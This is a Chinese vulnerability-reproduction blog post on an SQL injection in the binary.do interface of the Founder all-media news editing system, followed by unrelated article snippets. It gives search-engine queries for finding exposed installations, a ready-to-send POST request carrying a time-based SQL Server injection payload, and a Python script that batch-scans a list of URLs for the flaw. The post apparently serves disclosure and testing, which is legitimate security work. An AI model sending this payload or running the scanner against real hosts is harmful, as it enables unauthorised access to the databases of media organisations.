【漏洞复现】方正全媒体采编系统——binary.do——SQL注入

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。

文章目录

  • 漏洞描述
  • 漏洞复现
  • 测试工具


漏洞描述

方正全媒体采编系统(FZMediaEditor)是一款专业的新闻采编系统,用于新闻机构、媒体公司等组织进行新闻的采编、编辑和发布管理。其binary.do接口的pTableName参数对传入的数据没有预编译和充足的校验,导致该接口存在SQL注入漏洞,未授权的攻击者可获取数据库敏感信息。

漏洞复现

1)信息收集
fofa:body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
hunter:web.body="/newsedit/newsedit/"||app.name="北大方正全媒体采编系统"

我们的科学永远只是找到近似真理。
在这里插入图片描述
2)构造数据包

POST /newsedit/newsplan/task/binary.do HTTP/1.1
Host:ip
Content-Type: application/x-www-form-urlencoded

TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1

代码分析

TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1

这个payload经过URL编码,我们首先需要对其进行解码。URL编码通常用百分号(%)后跟两位十六进制数来表示特殊字符。下面是解码后的payload:

TableName=DOM_IMAGE where REFID=-1 union select '1'; WAITFOR DELAY '0:0:5'; select DOM_IMAGE from IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1

现在我们来分析这个解码后的payload:

  1. TableName=DOM_IMAGE where REFID=-1

    • 这是尝试访问名为DOM_IMAGE的表,并添加了一个条件REFID=-1。但通常TableName不应该包含where子句,这是SQL注入的一部分。
  2. union select ‘1’;

    • 这里使用了UNION操作符,尝试执行一个简单的select语句,返回字符串'1'
  3. WAITFOR DELAY ‘0:0:5’;

    • 这行代码是SQL Server特有的,用于使当前SQL语句执行延迟5秒。这通常用于时间盲注攻击,攻击者通过测量SQL语句的执行时间来推断数据库中的信息。
  4. select DOM_IMAGE from IMG_LARGE_PATH

    • 这又是一个SELECT语句,尝试从IMG_LARGE_PATH表中选择DOM_IMAGE字段。
  5. &FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1

    • 这些参数是Web表单的一部分,被用于构造SQL查询。

在这里插入图片描述
响应时间延迟5秒,存在sql注入。

测试工具

poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import argparse
import time
from urllib3.exceptions import InsecureRequestWarning

# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# 定义红色和重置终端输出格式的常量
RED = '\033[91m'
RESET = '\033[0m'

def check_vulnerability(url):
    """
    检查给定URL是否存在特定的SQL注入漏洞。

    :param url: 要检查的URL
    """
    try:
        # 构造攻击URL和payload
        attack_url = url.rstrip('/') + "/newsedit/newsplan/task/binary.do"
        attack_payload = """TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A3%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1"""

        # 设置请求头信息
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0',
            'Accept': '*/*',
            'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Accept-Encoding': 'gzip, deflate'
        }

        # 记录请求开始时间
        start_time = time.time()
        # 发送POST请求
        response = requests.post(attack_url, headers=headers, data=attack_payload, verify=False, timeout=10)
        # 计算请求耗时
        elapsed_time = time.time() - start_time

        # 根据耗时判断是否存在漏洞
        if 3 < elapsed_time < 5:
            print(f"{RED}URL [{url}] 可能存在方正全媒体采编系统binary.do存在SQL注入漏洞{RESET}")
        else:
            print(f"URL [{url}] 不存在漏洞")
    except requests.exceptions.Timeout:
        # 请求超时,提示可能存在漏洞
        print(f"URL [{url}] 请求超时,可能存在漏洞")
    except requests.RequestException as e:
        # 请求异常,打印错误信息
        print(f"URL [{url}] 请求失败: {e}")

def main():
    """
    程序主入口,负责解析命令行参数并调用漏洞检查函数。
    """
    # 解析命令行参数
    parser = argparse.ArgumentParser(description='检测目标地址是否存在方正全媒体采编系统binary.do存在SQL注入漏洞')
    parser.add_argument('-u', '--url', help='指定目标地址')
    parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')
    args = parser.parse_args()

    # 处理命令行参数
    if args.url:
        # 添加http协议头如果缺失
        if not args.url.startswith("http://") and not args.url.startswith("https://"):
            args.url = "http://" + args.url
        check_vulnerability(args.url)
    elif args.file:
        # 读取文件中的所有URL并检查
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()
            for url in urls:
                # 添加http协议头如果缺失
                if not url.startswith("http://") and not url.startswith("https://"):
                    url = "http://" + url
                check_vulnerability(url)

if __name__ == '__main__':
    main()

运行截图
在这里插入图片描述


须晴日,看红装素裹,分外妖娆。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/794056.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

网络安全第一次作业

需求 前置工作 给设备配好ip地址&#xff0c;并且在总公司处配置vlan 1&#xff0c; 先建立多个安全区域 接着新建两个策略 :办公区访问dmz区域策略&#xff0c;生产区访问dmz区域策略 2 &#xff0c; 不做配置即可&#xff0c;生产区本不允许访问互联网 3&#xff0c; 新…

学习大数据DAY14 PLSQL基础语法3

目录 二重循环 三种循环随便嵌套 exit continue return 作业 数据提取 游标 隐式游标 显示游标 动态游标 游标使用流程 游标属性 游标配合循环使用示例 作业2 参数游标 current of 语句 作业3 PLSQL基础语法&#xff08;三&#xff09; 二重循环 三种循环随便嵌…

LangChain框架详解

LangChain框架详解 LangChain是一个基于语言模型开发应用程序的强大框架&#xff0c;旨在帮助开发人员简化与大模型交互、数据检索以及将不同功能模块串联起来以完成复杂任务的过程。它提供了一套丰富的工具、组件和接口&#xff0c;使开发人员能够轻松构建上下文感知和具备逻…

Qt:19.浮动窗口/子窗口(子窗口介绍、代码方式创建子窗口、设置子窗口标题、为子窗口添加控件、设置子窗口停靠位置)

目录 1.子窗口介绍&#xff1a; 2.代码方式创建子窗口&#xff1a; 3.设置子窗口标题&#xff1a; 4.为子窗口添加控件&#xff1a; 5.设置子窗口停靠位置。 1.子窗口介绍&#xff1a; 在 Qt 中&#xff0c;可以创建和管理子窗口&#xff08;子窗口体&#xff09;以实现多窗…

线程安全(二)synchronized 的底层实现原理、锁升级

目录 一、基础使用1.1 不加锁的代码实现1.2 加锁的代码实现二、实现原理2.1 synchronized 简介2.2 对象监控器(Monitor)2.3 加锁过程第一步:判断 Owner 指向第二步:进入 EntryList 阻塞第三步:主动进入 WaitSet 等待三、锁升级3.1 对象的内存结构3.2 Mark Word 对象头3.3 …

python的简单爬取

需要的第三方模块 requests winr打开命令行输入cmd 简单爬取的基本格式&#xff08;爬取百度logo为例&#xff09; import requests url"http://www.baidu.com/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png" resprequests.get(url)#回应 #保存到本地 with open(&…

地址翻译过程(TLB-->页表-->Cache-->主存-->外存)

目录 1.地址结构 2.查找快表或页表&#xff1a;从虚拟地址--->物理地址 3.通过物理地址访问数据 设某系统满足以下条件&#xff1a; •有一个TLB与一个data Cache •存储器以字节为编址单位 •虚拟地址 14位 •物理地址 12位 •页面大小为 64B •TLB 为四路组相联&#x…

嵌入式工程师从0开始,到底该学什么,怎么学?

作为嵌入式工程师&#xff0c;从零开始学习需要掌握以下几个关键方面。我收集归类了一份嵌入式学习包&#xff0c;对于新手而言简直不要太棒&#xff0c;里面包括了新手各个时期的学习方向编程教学、问题视频讲解、毕设800套和语言类教学&#xff0c;敲个22就可以免费获得。 基…

【高中数学/指数函数、对数函数、正弦函数】求 y=2^x+x,y=log2_x+x,y=2*sinX+x 的零点位置大小关系

【问题】 已知函数f(x)2^xx,g(x)log2_xx,h(x)2*sinXx 的零点分别是a,b,c,则a、b、c的大小顺序是&#xff1f; 【解答】 粗览三个函数&#xff0c;h(x)2*sinXx的零点是最好解决的&#xff0c;明显x0时h(x)0&#xff0c;因此c在原点的位置&#xff1b; 对于f(x)2^xx&#xff…

【C++BFS】690. 员工的重要性

本文涉及知识点 CBFS算法 LeetCode690. 员工的重要性 你有一个保存员工信息的数据结构&#xff0c;它包含了员工唯一的 id &#xff0c;重要度和直系下属的 id 。 给定一个员工数组 employees&#xff0c;其中&#xff1a; employees[i].id 是第 i 个员工的 ID。 employees[…

怎样在 C 语言中实现堆排序?

&#x1f345;关注博主&#x1f397;️ 带你畅游技术世界&#xff0c;不错过每一次成长机会&#xff01; &#x1f4d9;C 语言百万年薪修炼课程 【https://dwz.mosong.cc/cyyjc】通俗易懂&#xff0c;深入浅出&#xff0c;匠心打磨&#xff0c;死磕细节&#xff0c;6年迭代&…

人类大脑的计算与机器的类脑计算

人类大脑的计算基本原理涉及到神经元的基本工作方式、神经网络的结构和连接模式、信息传递的方式、学习和记忆的机制等多个层面的复杂互动&#xff0c;这些原理的深入理解不仅有助于神经科学的发展&#xff0c;还为人工智能领域的发展提供了重要的启示和指导。人类大脑计算基本…

按下快门前的算法——对焦

对焦算法可以分为测距式&#xff0c;相位式&#xff0c;反差式。 其中测距式是通过激光&#xff0c;&#xff08;TOF&#xff0c;Time of Flight&#xff09;等主动式地得知物距&#xff0c;然后对焦。更常用的是后两者。 反差式CDAF&#xff08;Contrast Detection Auto Foc…

Lingo学习(二)——线性规划基础、矩阵工厂

一、线性规划基础 &#xff08;一&#xff09;方法 ① 一个线性规划中只含一个目标函数。(两个以上是多目标线性规划,Lingo无法直接解) ② 求目标函数的最大值或最小值分别用max …或min …来表示。 ③ 以!开头,以;结束的语句是注释语句; ④ 线性规划和非线性规划的本质…

Node.js如何在Windows安装?

文章目录 主要特点&#xff1a;使用场景&#xff1a;安装方法验证是否安装成功 Node.js 是一个开源、跨平台的JavaScript运行环境&#xff0c;由Ryan Dahl于2009年创建。它允许开发者在服务器端运行JavaScript代码。Node.js 基于Chrome V8 JavaScript引擎构建&#xff0c;其设计…

mobx学习笔记

mobx介绍 mobx是一个功能强大&#xff0c;上手容易的状态管理工具。MobX背后的哲学很简单:任何源自应用状态的东西都应该自动地获得。利用getter和setter来收集组件的数据依赖关系&#xff0c;从而在数据发生变化的时候精确知道哪些组件需要重绘。 mobx和redux的区别 mobx更…

【安全设备】APT攻击预警平台

一、什么是APT 高级持续性威胁&#xff08;APT&#xff09;是一种高度复杂和长期的网络攻击&#xff0c;旨在通过持续监视和访问特定目标来窃取敏感信息或进行其他恶意活动。这种攻击结合了多种先进的技术手段和社会工程学方法&#xff0c;以极高的隐蔽性实现长期潜伏和信息窃…

【排序算法】计数排序

目录 一.基本思想 二.缺陷及优化 三.代码实现 四.特性总结 1.可以排序负数 2.适合范围集中的整数 3.时间复杂度&#xff1a;O(Nrange) 4.空间复杂度&#xff1a;O(range) 5.稳定性&#xff1a;稳定 一.基本思想 根据待排序数组a创建一个新的数组count&#xff0c;该数组…

无人机之遥控器保养

一、使用存放 1、避免让遥控器受到强烈的震动或从高处跌落&#xff0c;以免影响内部结构的精度&#xff1b; 2、遥控器在使用完后&#xff0c;需要将天线收拢&#xff0c;避免折断&#xff0c;养成定期检查天线的习惯&#xff1b; 3、定期检查遥控器按键有无裂纹、畸变、松旷…

代码随想录算法训练营Day36||动态规划part04

494.目标和&#xff1a;本题的方法主要用来解决------装满容量为x的背包&#xff0c;有几种方法。 可以先理解二维数组的思路&#xff1a;感觉b站一个评论写得很清晰&#xff0c;借用一下。 这题最难理解的地方在于如何初始化数组&#xff0c;为什么dp[0]1&#xff1b;我试图自…